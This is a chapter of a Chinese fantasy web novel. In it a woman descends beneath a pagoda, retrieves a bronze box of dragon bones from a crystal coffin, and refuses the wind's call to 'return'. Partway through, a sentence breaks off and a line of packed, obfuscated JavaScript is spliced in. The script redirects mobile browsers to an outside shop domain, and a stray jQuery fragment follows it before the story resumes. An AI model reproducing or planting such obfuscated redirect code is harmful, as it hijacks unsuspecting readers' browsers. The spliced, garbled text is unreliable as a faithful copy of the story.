郁颂橘回过神来时,正看见叶轻天跪在地上哭,年轻的面容上淌下的泪水,总是格外动人。
“你不去叫醒他?”她转头看向一边站得牢牢的齐九歌,齐九歌根本没有陷入幻境。
“叫不醒。”齐九歌低眉敛目,一双低垂的眼睛慢慢阖上,“我其实也是恨他的,那夜如果没有他,我母亲也不会死的那样痛苦。”
“说说?”郁颂橘就地盘坐,也不在乎石阶之上是否有积年尘埃,她就这么坐下,看着默默流泪,一点声音也没发出来的叶轻天。
“我自出生起就甚得圣眷,我的母亲曾经也是和陛下关系最为亲厚的公主。”齐九歌看了一眼自己身上干净的衣袍,始终还是狠不下心坐下,就那么站着,和她的目光一同交汇在叶轻天满是泪水的脸上。
“在我三岁的时候,小殿下出生了,我和母亲都很喜欢他。我幼时最喜欢的事情就是去宫里找这个小表弟玩,我喜欢给他念书,也喜欢给他做些小玩意。”
“陛下原先是不算喜欢他的母妃的,他母妃是蛮夷之地进贡来的,习性与我们不甚相同,连说话都带着几分口音。不过她很聪明,会学,很快就满口标准的官话,很快就学会了宫中的礼仪,也会偶尔使些小手段去讨好陛下,所以她有了小表弟。她很爱小表弟,在小表弟说想吃酒酿圆子之时,会去向宫里的厨娘请教做法。”
“我和母亲喜欢小表弟,连带着陛下也对他们母子多几分关照。陛下对小表弟很好,好到满朝上下都觉得他会被立为太子。”
“陛下确实有意,但被我让母亲上书阻止了。因为轻天他不应该当皇帝,他可以当大将军、当闲散王爷,可当皇帝他必死无疑。”
“他的母妃撞见了陛下批阅我母亲的奏折,她没有质问我的母亲,只是悄悄地策划了那一碗酒酿圆子。在轻天生日那夜,我们三人分食了那一碗格外香甜的酒酿圆子,身中剧毒。那天太医院被免职了几个人,最后讨论出一个方子,那方子没问题,但我的母亲死了。”
“因为那夜那宫中燃的是犀角香,改变了解药的药性,她的五脏被化为血水。我本也该跟着她一起去的……”
“可你是凤命,一般的伤和毒都没办法致你于死地。”郁颂橘替他说出了接下来的话,“你的母亲在你的怀中吐血而亡。”
齐九歌的喉中似乎堵了一团棉花,闷得厉害,他清清喉咙,勉强地继续说着,“我知道这一切都不是他的错,可我该怎么……怎么释怀呢?”
无解的。他垂眼看着仍旧哭泣不止的叶轻天,叶轻天长大至今,也只遇到这一件悲伤的事情吧。
“无法释怀就一直记着吧,强迫自己是一件很痛苦的事情。对你是这样,对他来说也是。”郁颂橘看着已经哭的上气不接下气几乎要昏过去的叶轻天,“你在这陪着他吧,我下去看看。”
“下面……可能真的有龙。”齐九歌几乎是下意识地抓住她的手。
“你下去过?”
“没有,但晚上在此诵经时,会在子时听见龙吟声。”
郁颂橘不知道下面有没有真龙,危不危险,她只知道自己必须下去。记载了“其人如凤”的那本书上还写了“龙栖山脉,其形有三。其一为脉,镇八方海平,其二为风云。司四方风物,其三约为人,善者,生乱世平定四方,降盛世鞠躬尽瘁,寿无尽,是以心意困顿无解。其一难寻,其二难见,其三若现,困囿命途无解法,性善则盛世盈,性恶则乱世无尽。”
而在这一篇底下的注解,写明了静斋是以什么手段让自己从崩裂的东离古国存活至今的。
“人间龙初生龙形,啖之可增寿数,天罚至,以其骨入阵可移魂,脱壳以避祸,移祸于天下人。”
在这句注解之下,原先留了一大段的空白,但她在玄山寺读书那段日子,有一次意外被书架上的木刺戳破了指尖,艳红的鲜血滴落书页之时,有文字显现。
“龙骨初生,形神未聚,神思自天而来,无悲无喜,是娲皇遣以恤黎民,尘缘绝。天命难为此命难改,困哉。破而后立,形散而神聚,或有一线希望。”
郁颂橘不知道“形散”指的是不是是她现在这身体消散,但她愿意用这几百年前的骸骨来试一试。她可不愿去接受自己的存在就是为了什么体恤黎民,断绝尘缘。
娲皇补天为的是苍生百姓,因为苍生万物是她的造物、她的孩子。但郁颂橘为什么要体恤黎民呢?若是娲皇能看见,想必在几百年前“龙骨初生,形神未聚”,神思尚未归位之时的躯体被分成七份的时候就已经决定让这黎民自生自灭了吧?
因为那作为龙形降临人间的,也是她的孩子啊。
“看好他,我自己下去,无论发生什么,都不要下去。”郁颂橘稍稍用力便轻易挣开齐九歌的手,一个人在明亮的灯火之下往更底层走去,利落挺拔的背影和逶迤在地的影子一同消失在他的视线里。
郁颂橘忍着腿上的疼痛,一步步踏着台阶往下,先前那一丝半缕的微风变得更明显了,它们轻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13938129|143167||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
轻擦过她的脸庞,慢慢地陪着她向下走去。明亮的火光摇曳,将她的影子映照在壁画之上,浅浅地蒙住了娲皇的蛇尾。
浅浅的低吟声自风中传来,像缥缈的幻觉一般从她的耳畔划过。她看到了那水晶棺材里被蛇骨盘住的小小铜匣子。棺材没有完全合上,留着一条小缝,细风穿过,留下浅浅的声响,尖尖的,但不刺耳。
郁颂橘来到那晶莹剔透的水晶棺面前,这里的灯火跟石阶上的一样明亮,清晰地映照出四面八方的油彩壁画,她的脚下,正踩着断掉的不周山山尖。
水晶棺往前,有个空掉的神座,漆金的神座在这里待了不知道多少年,在岁月风声中逐渐露出其中的腐朽木料。应该是先前娲皇的神座吧,她只多看了两眼,便垂下眼帘,将手搭在那晶莹剔透的棺材之上。
推开它不需要多少力气,她很轻易地拿到了那个斑驳的铜匣子,匣子里面依旧是熟悉的白骨。耳畔的风中呢喃愈发清晰。
“不如……归去。”
“不如归去。”
“不如归去!”
归去?回哪去?命定的原位还是死亡的尽头?郁颂橘将铜匣子抱在怀中,冰冷的触感透过不算厚实的衣衫渗入她的胸膛,她轻轻地对风说,“不愿归去。”
她生而自由,海川河流高山风雪都不能左右。
她感觉到那不知何处而来的风声有了一瞬间的停顿,随即又缓缓吹拂着灯芯,她回过身,往来时的路走去,清风吹灭了她身后的烛火,黑暗慢慢将地下吞噬。
郁颂橘不紧不慢地走在黑暗之前,清风吹动她的衣袍,吹散她的发丝。
等齐九歌和叶轻天再看见她之时,只觉得她白衣猎猎,如天上真仙,欲乘风归去,永归高天之上。
一时间谁都不敢先开口,郁颂橘也不说话,三人就这么安静地走回地面上。在郁颂橘彻底踏出暗道的那一瞬间,灯火尽熄,一阵大风刮过,刮灭了整层塔底的灯火,三人只在黑暗中听见细细的石块破碎声响,等齐九歌再点亮一根香烛时,地藏菩萨尊像边上的暗道已经消失了,连带着被移开的香炉底下的纹样也不知所踪。
“塔下到底有什么?”叶轻天望着郁颂橘沉静的双眼,没关上的塔门透进来几丝月华,正映在她的脸上。
“有风。”郁颂橘抱着铜匣子率先往门口走去,月光倾泻而下,笼罩在她的身上,似天降白纱,朦朦胧胧地遮挡住了她身上的冰冷气息。
风自由了。
那她呢?